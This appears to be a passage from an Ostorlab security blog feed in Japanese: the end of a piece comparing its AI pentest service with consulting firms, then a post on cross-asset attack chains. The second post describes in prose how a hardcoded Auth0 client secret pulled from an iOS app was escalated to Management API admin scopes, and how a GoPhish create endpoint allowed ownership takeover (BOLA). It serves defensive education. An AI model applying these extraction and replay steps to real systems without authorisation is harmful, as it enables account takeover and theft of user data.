&lt;p&gt;&lt;strong&gt;いずれにしても、範囲が重要です。&lt;/strong&gt;APIのテストだけでは、ローカルストレージ、実行時保護、その他のモバイル特有の挙動はカバーされません。&lt;/p&gt;
&lt;h2 id="検出結果はどのように修正され、再テストされるか"&gt;検出結果はどのように修正され、再テストされるか&lt;/h2&gt;
&lt;p&gt;どちらのモデルでも、検出結果はチケットになり、修正され、再テストされます。違いは、そのループのどれだけを繰り返し実行できるかです。&lt;/p&gt;
&lt;p&gt;Ostorlabの&lt;a href="https://ostorlab.co/resources/Sample_report.pdf"&gt;公開サンプルレポート&lt;/a&gt;には、別々のユーザーアイデンティティ、再現手順、記録されたレスポンスを含む、アカウントの認可に関する検出結果が掲載されています。そこから次のように進みます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;追跡する&lt;/strong&gt;：プランでJira連携が有効になっている場合、&lt;a href="https://docs.ostorlab.co/integrations/jira/"&gt;Jira連携&lt;/a&gt;が課題を作成・同期するため、検出結果は既存のバックログに入ります。このワークフローに頼る前に、自社のサブスクリプションまたは見積もりでJiraが利用できるかを確認してください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証する&lt;/strong&gt;：修正がリリースされたら、&lt;strong&gt;再テスト&lt;/strong&gt;で影響を受けた挙動を再度確認し、脆弱性が解消されたことを確かめます。請求書の認可に関する検出結果であれば、不正なアクセスがブロックされ、&lt;em&gt;かつ&lt;/em&gt;正当なアクセスが引き続き機能することを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リグレッションを監視する&lt;/strong&gt;：継続的なテストにより、問題が再発した場合にそれを捉える機会が増えます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="FixedかつVerifiedとマークされたOstorlabの検出結果。説明、根本原因、エビデンスとして使用された悪用時のリクエストとレスポンスが表示されている" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-25_ostorlab_vs_traditional_pentesting/fixed-and-verified-finding.png" title="再テスト後にFixed &amp;amp; Verifiedとマークされた検証済みの検出結果"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;再テスト後にFixed &amp;amp; Verifiedとマークされた検証済みの検出結果&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コンサルタントが役立つ場面&lt;/strong&gt;：修正にアーキテクチャ上のトレードオフや複数のチームが関わる場合には、直接の議論が有益です。コンサルタントの再テストサービスは、修復後に合意した検出結果を検証します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;監査や顧客によるレビューを控えていますか。&lt;/strong&gt;評価の記録は、検出結果と同じくらい重要です。&lt;a href="https://owasp.org/www-project-web-security-testing-guide/"&gt;OWASP Web Security Testing Guide&lt;/a&gt;は、範囲、制約、影響、修復を網羅したレポートを推奨しています。署名付きのレポート、評価者の氏名の明記、特定の方法論が必要な場合は、テストを始める&lt;em&gt;前に&lt;/em&gt;合意しておいてください。SOC 2については特に、&lt;a href="https://blog.ostorlab.co/can-soc2-accept-ai-conducted-penetration-test-report.html"&gt;SOC 2はAIが実施したペネトレーションテストのレポートを受け入れられるか&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="ostorlab、ペンテスト会社、それとも両方か"&gt;Ostorlab、ペンテスト会社、それとも両方か&lt;/h2&gt;
&lt;p&gt;アプリケーションがどのくらいの頻度で変化するか、そして人間の判断がどこで必要かに基づいて選んでください。&lt;/p&gt;
&lt;h3 id="変化し続けるアプリケーションを頻繁にテストするならostorlab"&gt;変化し続けるアプリケーションを頻繁にテストするならOstorlab&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最初の予算を抑えたい。&lt;/strong&gt;範囲を定めたAI Pentestから始められ、大規模な案件は必要ありません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;頻繁にリリースしている。&lt;/strong&gt;継続プランは、定期的なチェックと、大きな変更の前後でのより深いスキャンに対応しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロダクトがモバイル、Web、APIにまたがっている。&lt;/strong&gt;接続されたテストにより、コンポーネントをまたいで問題を追跡し、検出結果を集約します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エンジニアリングに近いところでテストしたい。&lt;/strong&gt;エビデンス、CI/CD連携、修復ワークフローにより、チームは検出結果に対応し、修正を検証できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="専任の専門知識が必要ならコンサルティング会社"&gt;専任の専門知識が必要ならコンサルティング会社&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;専門的なレビュー&lt;/strong&gt;：独自の暗号、ハードウェア、特殊なプロトコル、アーキテクチャ分析には、別途範囲を定めた案件が必要になる場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複雑なビジネスルール&lt;/strong&gt;：テスターが権限、例外、悪用シナリオについてプロダクトオーナーと緊密に連携する必要がある場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大規模な再設計&lt;/strong&gt;：認証、テナント分離、決済ロジックの変更は、経験豊富なチームによる集中的なレビューに値することがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;求められるレポート形式&lt;/strong&gt;：評価者や案件の種類に関する契約上の要件によって、選択が決まる場合があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="定期的なカバレッジと集中的な専門知識を両立するなら両方"&gt;定期的なカバレッジと集中的な専門知識を両立するなら両方&lt;/h3&gt;
&lt;p&gt;新しいテナント権限モデルを導入する企業であれば、専門家を招いて設計をレビューしてもらい、その後は定期的なテストで実装の変化を確認していくことができます。テストの頻度を高く保ちつつ、コンサルタントの時間を本当に重要なところに使えます。&lt;/p&gt;
&lt;p&gt;サービスとしてのペネトレーションテスト（PTaaS）という中間の選択肢を含む全体像については、当社の&lt;a href="https://blog.ostorlab.co/autonomous-pentesting-vs-traditional-penetration-testing.html"&gt;自律型ペネトレーションテストと従来型ペネトレーションテストの比較&lt;/a&gt;のガイドをお読みください。&lt;/p&gt;
&lt;div id="faq"&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;2026年10月2日更新：AI Pentestには人間による検証が含まれないことを明記し、期間を&lt;a href="https://ostorlab.co/plans/"&gt;プラン&lt;/a&gt;ページに記載のCore、Advanced、Eliteの想定期間に更新しました。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="ostorlabはペネトレーションテスト会社の代わりになりますか"&gt;Ostorlabはペネトレーションテスト会社の代わりになりますか&lt;/h3&gt;
&lt;p&gt;OstorlabのAppSecとEnterpriseの継続プランは、アプリケーションの変化に合わせて、認証済みワークフロー、認可チェック、エクスプロイトの検証を含む定期的なアプリケーションテストを提供できます。1回限りのAI Pentestは、再テスト期間を含む別の評価です。独自の暗号、ハードウェア、アーキテクチャレビュー、あるいは契約で評価者の氏名の明記が求められる場合には、依然としてコンサルティング会社のほうが適しています。&lt;/p&gt;
&lt;h3 id="aiペンテストは手動のペンテストよりどのくらい安いですか"&gt;AIペンテストは手動のペンテストよりどのくらい安いですか&lt;/h3&gt;
&lt;p&gt;OstorlabのAI Pentestは、1回限りの評価で$499からです。単一のWebアプリケーションに対する手動のペンテストは一般的に$3,000～$18,000かかり、Web、API、モバイル、クラウドにまたがるより広範な評価では$18,000～$50,000+かかることがあります。範囲が異なるため、この差は同条件での節約額ではありません。&lt;/p&gt;
&lt;h3 id="aiペンテストにかかる期間は、コンサルタントによる案件と比べてどのくらいですか"&gt;AIペンテストにかかる期間は、コンサルタントによる案件と比べてどのくらいですか&lt;/h3&gt;
&lt;p&gt;OstorlabのAI Pentestの想定期間は、Coreが5～7日、Advancedが10～14日、Eliteが15～20日です。当社のスタートアップ向けペンテストガイドでは、手動テストについて、1～3週間の実テストに加えてレポート作成と日程調整が必要だと説明しています。スキャンの実行と署名付きレポートの納品は、異なるマイルストーンです。発注の前に、範囲、環境の準備状況、納品期限を確認してください。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/plans/"&gt;Ostorlabのプラン&lt;/a&gt;と&lt;a href="https://blog.ostorlab.co/penetration-testing-for-startups-2026-guide.html"&gt;手動テストのタイムライン&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h3 id="ostorlabのai pentestには人間によるレビューが含まれますか"&gt;OstorlabのAI Pentestには人間によるレビューが含まれますか&lt;/h3&gt;
&lt;p&gt;いいえ。再テスト期間を含む1回限りのAI Pentestには、人間による検証は含まれません。AppSecの継続プランでは人間による検証はアドオンであり、Enterpriseでは設定可能です。&lt;/p&gt;
&lt;h3 id="aiペンテストのレポートはsoc 2や顧客のセキュリティレビューで受け入れられますか"&gt;AIペンテストのレポートはSOC 2や顧客のセキュリティレビューで受け入れられますか&lt;/h3&gt;
&lt;p&gt;多くの場合は受け入れられますが、監査人や顧客が何を求めるかによります。テストを始める前に、範囲、方法論、レポート形式、そして評価者の氏名の明記が必要かどうかについて合意してください。当社の&lt;a href="https://blog.ostorlab.co/can-soc2-accept-ai-conducted-penetration-test-report.html"&gt;SOC 2ガイド&lt;/a&gt;では、監査人が何を確認するかを解説しています。&lt;/p&gt;
&lt;h3 id="従来のペンテスト会社は継続的テストを提供していますか"&gt;従来のペンテスト会社は継続的テストを提供していますか&lt;/h3&gt;
&lt;p&gt;提供している会社もあります。NCC Groupは変更をトリガーとする継続的ペネトレーションテストを提供しており、Bishop Foxは自社のペネトレーションテスターが検出結果を検証する、AIを活用したアプリケーションテストを提供しています。本当の違いは、継続的なプログラムか、日程を組んで行う案件かという点です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;著者について&lt;/strong&gt;：&lt;a href="https://www.linkedin.com/in/mabroukyousef/"&gt;Youssef Mabrouk&lt;/a&gt;は、Ostorlabのデジタルマーケターとして、サイバーセキュリティツールを調査し、教育的なコンテンツを制作しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社のプロダクトでOstorlabが何をカバーするか確認したいですか。&lt;/strong&gt;&lt;a href="https://ostorlab.co/resources/Sample_report.pdf"&gt;サンプルレポート&lt;/a&gt;をご覧いただくか、次のリリースで範囲を定めた&lt;a href="https://ostorlab.co/plans/"&gt;AI Pentest&lt;/a&gt;から始めるか、&lt;a href="https://ostorlab.co/contact"&gt;当社チームにご相談ください&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにペンテスト会社と取引していますか。&lt;/strong&gt;&lt;a href="https://ostorlab.co/bake-off"&gt;次の案件の対象となるアプリでOstorlabを実行する&lt;/a&gt;：同じ対象、同じ制限時間で比較します。検出結果は、自社のチームが再現できた時点で初めてカウントされます。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "@id": "https://blog.ostorlab.co/ostorlab-vs-penetration-testing-firms.html#faq",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "Ostorlabはペネトレーションテスト会社の代わりになりますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "OstorlabのAppSecとEnterpriseの継続プランは、アプリケーションの変化に合わせて、認証済みワークフロー、認可チェック、エクスプロイトの検証を含む定期的なアプリケーションテストを提供できます。1回限りのAI Pentestは、再テスト期間を含む別の評価です。独自の暗号、ハードウェア、アーキテクチャレビュー、あるいは契約で評価者の氏名の明記が求められる場合には、依然としてコンサルティング会社のほうが適しています。"
      }
    },
    {
      "@type": "Question",
      "name": "AIペンテストは手動のペンテストよりどのくらい安いですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "OstorlabのAI Pentestは、1回限りの評価で$499からです。単一のWebアプリケーションに対する手動のペンテストは一般的に$3,000～$18,000かかり、Web、API、モバイル、クラウドにまたがるより広範な評価では$18,000～$50,000+かかることがあります。範囲が異なるため、この差は同条件での節約額ではありません。"
      }
    },
    {
      "@type": "Question",
      "name": "AIペンテストにかかる期間は、コンサルタントによる案件と比べてどのくらいですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "OstorlabのAI Pentestの想定期間は、Coreが5～7日、Advancedが10～14日、Eliteが15～20日です。当社のスタートアップ向けペンテストガイドでは、手動テストについて、1～3週間の実テストに加えてレポート作成と日程調整が必要だと説明しています。スキャンの実行と署名付きレポートの納品は、異なるマイルストーンです。発注の前に、範囲、環境の準備状況、納品期限を確認してください。"
      }
    },
    {
      "@type": "Question",
      "name": "OstorlabのAI Pentestには人間によるレビューが含まれますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "いいえ。再テスト期間を含む1回限りのAI Pentestには、人間による検証は含まれません。AppSecの継続プランでは人間による検証はアドオンであり、Enterpriseでは設定可能です。"
      }
    },
    {
      "@type": "Question",
      "name": "AIペンテストのレポートはSOC 2や顧客のセキュリティレビューで受け入れられますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "多くの場合は受け入れられますが、監査人や顧客が何を求めるかによります。テストを始める前に、範囲、方法論、レポート形式、そして評価者の氏名の明記が必要かどうかについて合意してください。当社のSOC 2ガイドでは、監査人が何を確認するかを解説しています。"
      }
    },
    {
      "@type": "Question",
      "name": "従来のペンテスト会社は継続的テストを提供していますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "提供している会社もあります。NCC Groupは変更をトリガーとする継続的ペネトレーションテストを提供しており、Bishop Foxは自社のペネトレーションテスターが検出結果を検証する、AIを活用したアプリケーションテストを提供しています。本当の違いは、継続的なプログラムか、日程を組んで行う案件かという点です。"
      }
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Penetration Testing"/><category term="AI Pentest"/><category term="Continuous Testing"/><category term="AppSec"/><category term="Comparison"/></entry><entry><title>APIセキュリティテストだけではクロスアセット攻撃チェーンを見逃す理由</title><link href="https://blog.ostorlab.co/ja/why-api-security-testing-alone-fails.html" rel="alternate"/><published>2026-09-25T14:00:00+02:00</published><updated>2026-09-26T10:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-09-25:/ja/why-api-security-testing-alone-fails.html</id><summary type="html">&lt;p&gt;APIだけを対象とするスキャナーは、モバイルアプリ、Webバンドル、コード内のシークレットやルートから始まる攻撃チェーンを見逃します。実際の2つのチェーンと8ステップのテストチェックリストを紹介します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;APIスキャナーが問題のないレポートを返す一方で、攻撃者はすんなりと侵入できてしまうことがあります。攻撃者のリクエストは正当なもので、本物のトークンを含んでおり、サーバーはそれに正しく応答します。問題は、そのトークンがどこから来たかです。それは、モバイルアプリにコンパイルされた文字列、JavaScriptバンドルに残されたルート、Gitの履歴に残ったままのシークレットなど、スキャナーが一度も確認しなかった場所にありました。&lt;/p&gt;
&lt;p&gt;APIセキュリティテストだけでは不十分なのは、影響の大きいAPI侵害の多くがAPIから始まらないからです。それらは、モバイルアプリ、JavaScriptバンドル、ソースコードから取り出された認証情報、ルート、リクエスト形式から始まり、それが正当なリクエストとして再送されます。APIだけをテストするスキャナーには、チェーンの始まりがまったく見えません。&lt;/p&gt;
&lt;p&gt;当社が評価したあるiOSアプリでは、ハードコードされたAuth0のシークレットが1,000件のレコードを含むユーザーディレクトリにつながっていました。その認証情報に関する最初の検出結果は、すでに「Fixed &amp;amp; Verified」とマークされていたにもかかわらずです。その経緯は後述します。このガイドは、モバイルやWebのクライアントにサービスを提供するAPIを担当するAppSecリードやDevSecOpsエンジニアに向けたものです。&lt;/p&gt;
&lt;h2 id="エグゼクティブサマリー(tl;dr)"&gt;エグゼクティブサマリー（TL;DR）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;当社の評価では、最も深刻なAPIの検出結果の多くはAPIから始まっていませんでした。クライアントアプリやコードから取り出された認証情報やルートから始まり、それが正当なリクエストとして再送されていました。&lt;/li&gt;
&lt;li&gt;一度に一つのアセットをテストするスキャナーは、それぞれがチェーンの半分しか見ていません。後からそれらのレポートを一つのダッシュボードに集めても、2つの半分はつながりません。&lt;/li&gt;
&lt;li&gt;こうしたチェーンを捉えるには、クライアントアプリ、コード、稼働中のAPIを同じ評価の中でテストし、修正はサーバー側で行います。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;クロスアセット攻撃チェーンとは何か&lt;/strong&gt;
&lt;strong&gt;クロスアセット攻撃チェーン&lt;/strong&gt;（cross-asset attack chain）とは、モバイルアプリ、Webフロントエンド、ソースリポジトリ、バックエンドAPIなど、複数のアセットにまたがって存在する一連の弱点です。個々の弱点は単独では軽微に見えます。しかし組み合わさると、攻撃者は本来決して到達できないはずのデータや機能にアクセスできるようになります。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;典型的なチェーンは3つの手順で構成されます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;抽出&lt;/strong&gt;：クライアントやコードから、トークン、署名鍵、文書化されていないルート、リクエスト形式などを取り出します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再送&lt;/strong&gt;：それを正当なリクエストとしてバックエンドAPIに送ります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;昇格&lt;/strong&gt;：サーバー側の認可の欠陥を突いて、他のユーザーのオブジェクト（BOLA）、特権機能（BFLA）、より広いトークンスコープへと権限を広げます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ここでの各ステップは、どれも単独では攻撃に見えません。1つ目は静的な文字列、2つ目は認証済みのリクエスト、3つ目は通常のAPIレスポンスです。侵害が見えてくるのは、これらを順番に読み解いたときだけです。&lt;/p&gt;
&lt;h2 id="クロスアセット攻撃チェーンは実際にはどのようなものか"&gt;クロスアセット攻撃チェーンは実際にはどのようなものか&lt;/h2&gt;
&lt;p&gt;以下の2つのチェーンは、Ostorlabの実際の評価から得られたもので、それぞれこのブログでより詳しく公開しています。どちらの評価でもOstorlab Agentic Deep Scanを使用しました。これは、自律型のテストエージェントをアセットに対して実行するもので、1つ目のケースではモバイルバイナリ、2つ目のケースではソースコードが対象でした。いずれも、取り出した認証情報やルートを稼働中のバックエンドに対して再送したときに初めて、確定した侵害となりました。&lt;/p&gt;
&lt;h3 id="1. iosアプリにハードコードされたauth0クライアントシークレットからテナント全体の管理者スコープへ"&gt;1. iOSアプリにハードコードされたAuth0クライアントシークレットからテナント全体の管理者スコープへ&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/how-ai-catches-complex-vulnerabilities-agentic-pentesting-exploit-chaining.html" target="_blank"&gt;AIが複雑な脆弱性を捉える仕組み&lt;/a&gt;で取り上げた評価では、あるiOSアプリにAuth0のマシン間（M2M）の&lt;code&gt;client_id&lt;/code&gt;と&lt;code&gt;client_secret&lt;/code&gt;が同梱されていました。どちらもFlutterの&lt;code&gt;DART_DEFINES&lt;/code&gt;を通じてビルド時に埋め込まれていました。アプリはそれらを使って一つの内部サービスを呼び出していました。&lt;/p&gt;
&lt;p&gt;この認証情報に関する最初の検出結果は、アプリが呼び出す一つのオーディエンスに範囲が限定されたもので、重大度は「高」と評価され、すでに「Fixed &amp;amp; Verified」とマークされていました。この修正で塞がれたのはアプリが使用していた経路であり、認証情報が到達できるすべての範囲ではありませんでした。&lt;/p&gt;
&lt;p&gt;静的スキャナーであれば、その文字列を報告するでしょう。APIスキャナーであれば、アプリが正当にリクエストするオーディエンスについては、適切にスコープが設定されたトークンを確認するはずです。しかし、エージェントは別の問いを立てました。M2Mクライアントには複数のAPIへのアクセスを付与できます。では、このクライアントは他に何を呼び出すことが認可されていたのでしょうか。&lt;/p&gt;
&lt;p&gt;エージェントは、テナントの&lt;code&gt;/oauth/token&lt;/code&gt;エンドポイントに対して38個の候補オーディエンスを試しました。&lt;strong&gt;Auth0 Management API&lt;/strong&gt;（&lt;code&gt;https://&amp;lt;tenant&amp;gt;.auth0.com/api/v2/&lt;/code&gt;）は、HTTP 200とともに、&lt;code&gt;update:users&lt;/code&gt;、&lt;code&gt;delete:users&lt;/code&gt;、&lt;code&gt;create:client_credentials&lt;/code&gt;を含む8つの管理者スコープを持つトークンを返しました。続いて、読み取り専用の&lt;code&gt;GET&lt;/code&gt;を1回送るだけで、PIIを含むテナントの1,000件のレコードからなるユーザーディレクトリ全体が露出しました。書き込みは一切行っていませんが、このトークンを使えばユーザーの作成、更新、削除が可能でした。この2つ目の検出結果は「クリティカル」と評価され、まだ「Open」のままでした。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="5段階の攻撃チェーン：iOSアプリでハードコードされたAuth0認証情報を発見し、有効であることを確認、本番環境のJWTを解析、Auth0 Management APIへのアクセスを検証し、非破壊的なリクエストでテナント全体への影響を実証" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-25_why_api_testing_alone_fails/auth0-attack-chain.webp" title="Auth0のM2M認証情報からManagement APIに至る攻撃チェーン"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Auth0のM2M認証情報からManagement APIに至る攻撃チェーン&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図1：iOSバイナリから取り出したM2M認証情報が、Auth0 Management APIの管理者スコープへと昇格する様子&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;単一レイヤーのテストで見逃される理由&lt;/strong&gt;：認証情報はバイナリの中にあり、過剰なスコープの付与はアイデンティティプロバイダーの設定の中にあります。どちらもAPI仕様には現れません。&lt;/p&gt;
&lt;h3 id="2. 所有権を移転してしまう作成エンドポイント(bola)"&gt;2. 所有権を移転してしまう作成エンドポイント（BOLA）&lt;/h3&gt;
&lt;p&gt;手動レビューとOstorlab Agentic Deep Scanを組み合わせた&lt;a href="https://blog.ostorlab.co/gophish-0121-manual-review-agentic-deep-scan.html" target="_blank"&gt;GoPhishのソースコード評価&lt;/a&gt;では、グループ作成エンドポイント（&lt;code&gt;POST /api/groups/&lt;/code&gt;）が暗黙のアップサートを実行していました。他のユーザーのグループの&lt;code&gt;id&lt;/code&gt;を含む正当なJSONボディを送ると、そのグループの受信者データが上書きされ、所有権が攻撃者に移転していました。&lt;/p&gt;
&lt;p&gt;Agentic Deep Scanは、作成ハンドラーが&lt;code&gt;id&lt;/code&gt;を受け付けているというパターンをコードの中から浮かび上がらせました。その後、評価では、合成アカウントを用いた隔離されたローカルのGoPhishインスタンスに対し、2人目のユーザーとしてリクエストを再送することで、これを確認しました。この再送はデータを上書きするため、本番環境ではなくラボで行うべきものです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="サニタイズ済みのAPIエビデンス：管理者がグループ106を作成し、2人目のユーザーがid 106を含む作成リクエストを送信すると、管理者には404が、2人目のユーザーには200が返される" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/agentic-deep-scan-access-control-evidence.png" title="作成リクエストを通じたユーザー間のグループ乗っ取り"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;作成リクエストを通じたユーザー間のグループ乗っ取り&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図2：GoPhishの評価から得られたサニタイズ済みのエビデンス。2人目のユーザーが、既存グループのIDを含む作成リクエストを通じてそのグループを乗っ取っています。アカウント名、APIキー、エンドポイントは合成されたものです。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;単一レイヤーのテストで見逃されうる理由&lt;/strong&gt;：リクエストは正しい形式で認証済みであり、欠陥は入力検証ではなく所有権のロジックにあるため、コントラクトチェックやスキーマベースのファジングには指摘すべきものがありません。複数ユーザーによるテストでこれを捉えられるのは、作成リクエストで他のユーザーのIDを送った場合だけです。ハンドラーを読めば、それをどこで試すべきかが正確にわかります。&lt;/p&gt;
&lt;h2 id="単一レイヤーのapiスキャナーがこうしたチェーンを見逃す理由"&gt;単一レイヤーのAPIスキャナーがこうしたチェーンを見逃す理由&lt;/h2&gt;
&lt;p&gt;単一レイヤーのスキャナーがこうしたチェーンを見逃すのは、それぞれが自分のアセットしか見ていないため、クライアントで見つかったシークレットと、そのシークレットで解錠できるAPIとを結び付けるものが一つもないからです。ほとんどのセキュリティツールは、ソースコード、ゲートウェイやWAFのトラフィック、ステージングサーバーへのテストリクエストなど、スタックの一角だけをカバーしています。どれも壊れているわけではなく、それぞれが自分のアセットを個別にテストしているのです。&lt;/p&gt;
&lt;p&gt;しかし、バックエンドAPIを呼び出すのは、モバイルバイナリ（iOSの&lt;code&gt;.ipa&lt;/code&gt;、Androidの&lt;code&gt;.apk&lt;/code&gt;）、シングルページのWebアプリ、パートナーとの連携、内部サービスであり、それらはすべて、設定情報や、多くの場合はシークレットを、攻撃者が読める場所へと配布しています。一つずつテストすると、各アセットは合格しても、それらの間をつなぐチェーンは見過ごされてしまいます。現在では、コード、実行時、APIのテストを組み合わせるプラットフォームも登場しており、これこそがこうしたチェーンに必要なものです。&lt;/p&gt;
&lt;h2 id="apiの認証情報とルートはどこから漏えいするのか"&gt;APIの認証情報とルートはどこから漏えいするのか&lt;/h2&gt;
&lt;p&gt;APIの認証情報とルートは通常、攻撃者が取り出せる5つのソースから漏えいします。モバイルバイナリ、Webバンドル、ソースリポジトリとCI、APIドキュメント、そしてWebSocketなどの二次チャネルです。以下は、当社が評価の中で最も頻繁に遭遇するものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ソース&lt;/th&gt;
&lt;th&gt;攻撃者が取り出すもの&lt;/th&gt;
&lt;th&gt;APIへの典型的な影響&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;モバイルバイナリ&lt;/strong&gt;（APK / IPA / AAB）&lt;/td&gt;
&lt;td&gt;アプリに同梱すべきでない機密の認証情報（M2Mクライアントシークレットや共有の&lt;code&gt;client_secret&lt;/code&gt;の値など。ネイティブアプリの公開&lt;code&gt;client_id&lt;/code&gt;は見えることが想定されている）、ビルド時に注入された特権APIキー（Flutterの&lt;code&gt;DART_DEFINES&lt;/code&gt;やAndroidの&lt;code&gt;BuildConfig&lt;/code&gt;など）、暗号鍵とリクエスト署名のロジック、隠されたエンドポイントやデバッグ用エンドポイント&lt;/td&gt;
&lt;td&gt;トークンの発行、リクエスト署名の回避、内部APIやステージングAPIの呼び出し&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Webバンドル&lt;/strong&gt;（SPAのJavaScript、ソースマップ）&lt;/td&gt;
&lt;td&gt;UIに表示されない管理者用・内部用のルート、機能フラグで制御されたエンドポイント、サードパーティのAPIキー、GraphQLのオペレーション名&lt;/td&gt;
&lt;td&gt;文書化されていないエンドポイント（シャドーAPI）、UIのチェックなしで到達できる特権機能（BFLA）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ソースリポジトリとCI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コミット履歴内のシークレット、デプロイトークン、ルート定義、認可ミドルウェアが欠けたハンドラー&lt;/td&gt;
&lt;td&gt;直接の認証済みアクセス、所有権チェックのないルートの正確な一覧&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APIドキュメントとコレクション&lt;/strong&gt;（OpenAPI、Postman、GraphQLイントロスペクション）&lt;/td&gt;
&lt;td&gt;リクエストの完全な形、まだ稼働している非推奨バージョン、オブジェクト識別子の形式&lt;/td&gt;
&lt;td&gt;古いAPIバージョンを通じた大量の列挙とアクセス（不適切なインベントリ管理）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;二次チャネル&lt;/strong&gt;（WebSocket、gRPC-web）&lt;/td&gt;
&lt;td&gt;チャネルが露出させるエンドポイントのパスとオペレーション名、HTTPの認証ミドルウェアを通らないハンドシェイク&lt;/td&gt;
&lt;td&gt;認証されていないデータストリームやサブスクリプション（認証の不備、BFLA）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OpenAPIファイルとテストアカウントだけで動作するスキャナーは、これらのアーティファクトを一切持たない状態から始まります。そのため、行儀のよいクライアントが使うAPIをテストすることになります。攻撃者が使うAPIはテストしません。&lt;/p&gt;
&lt;h2 id="api外部のコンテキストがあると見つけやすくなるowasp api top 10のリスク"&gt;API外部のコンテキストがあると見つけやすくなるOWASP API Top 10のリスク&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/" target="_blank"&gt;OWASP API Security Top 10（2023）&lt;/a&gt;のリスクは、サーバー側の欠陥です。BOLAとBFLAは、常にAPI側で修正されます。しかし、その中のいくつかは、クライアントアプリやソースコードなど、API外部のコンテキストがあると発見や検証が容易になります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OWASP APIのリスク&lt;/th&gt;
&lt;th&gt;発見や検証に役立つ外部のコンテキスト&lt;/th&gt;
&lt;th&gt;APIのみのスキャンで見えるもの&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API1: Broken Object Level Authorization (BOLA)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;クライアントアプリから得たオブジェクト識別子の形式とリクエストの暗号化&lt;/td&gt;
